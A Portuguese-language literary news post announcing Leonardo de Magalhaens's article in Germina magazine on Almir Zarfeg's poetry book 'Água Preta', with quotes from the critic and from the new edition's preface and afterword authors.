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Leonardo de Magalhaens reflete sobre “Água Preta” em artigo que acaba de sair na Germina de março

Publicado em: 18/03/2022 Atualizado:: março 19, 2022

O crítico Leonardo de Magalhaens nos bons tempos do projeto Pão e Poesia

 

O poeta e crítico literário Leonardo de Magalhaens refletiu sobre o livro de poemas “Água Preta” no belo artigo “Mergulhando nas águas afetivas da infância”. O artigo acaba de sair na edição de março de 2022 da Germina – Revista de Literatura & Arte. A revista eletrônica tem como editora-chefe Silvana Guimarães e editora associada Mariza Lourenço.

 

“Água Preta”, primeiro livro de poemas de Almir Zarfeg, completou 30 anos de história em 2021 e, para celebrar a data, ganhou a sua 5ª edição da Lura Editorial. Revista e ampliada, a novíssima edição recebeu prefácio da poeta e professora universitária Arolda Maria Figuerêdo e posfácio do também poeta e vice-presidente da Academia Teixeirense de Letras Carlos Mensitieri.

 

 

“Assim como Ronaldo Werneck canta e encanta sua terra Cataguases, no sudeste de Minas Gerais, o ‘baianeiro’ Almir Zarfeg canta e encanta sua terra Água Preta, ou Itanhém, lugar de plena ‘geografia sentimental’, como dizia Pedro Nava, onde sua voz individual se revela também coletiva, como relato de época, como testemunho de infância. Assim, vários leitores e leitoras podem se encontrar, se identificando com a voz lírica”, reflete Leonardo de Magalhaens.

 

Ele acrescenta que a obra “é um diálogo intertextual com Carlos Drummond, e também com João Cabral de Melo Neto, com destaques para ‘Catando pedras no caminho’ [p. 21], ‘Itinerário de Água Preta’ [p. 66], ‘Aguapretices’” [p. 99]

 

Já Arolda Maria destaca a importância de livro – publicado originalmente em 1991 – na trajetória zarfeguiana: “’Água Preta’ é sem dúvida um livro muito importante na vida de Almir Zarfeg. Primeiro, pela penetração e trânsito no mundo das letras. Segundo, por iniciar sua carreira com uma efusiva expressão poética distribuída em 101 poemas. Número que muito bem demonstra o quanto a poesia o inquietava e se expandia dentro dele”.

 

Por sua vez, Carlos Mensitieri teoriza: “No contexto crítico, por exemplo, o poeta se infiltra e se estabelece na gênese poética, como agente provocador, construindo e desconstruindo, fazendo e desfazendo; procurando espantar os fantasmas (influências inarredáveis), que não são apenas espectros renovados, mas signos vivos em transformação, em que significante e significado se apresentam como peças necessárias no tabuleiro do jogo literário. Pode-se afirmar que a presença desses autores e seus textos é condição sem a qual (sine qua non) não haveria uma percepção estética para a definição de uma literariedade”.

 

O artigo de Leonardo de Magalhaens pode ser lido aqui.

 

Leia seleção de poemas de “Água Preta”, feita pela Germina, aqui.

 

 


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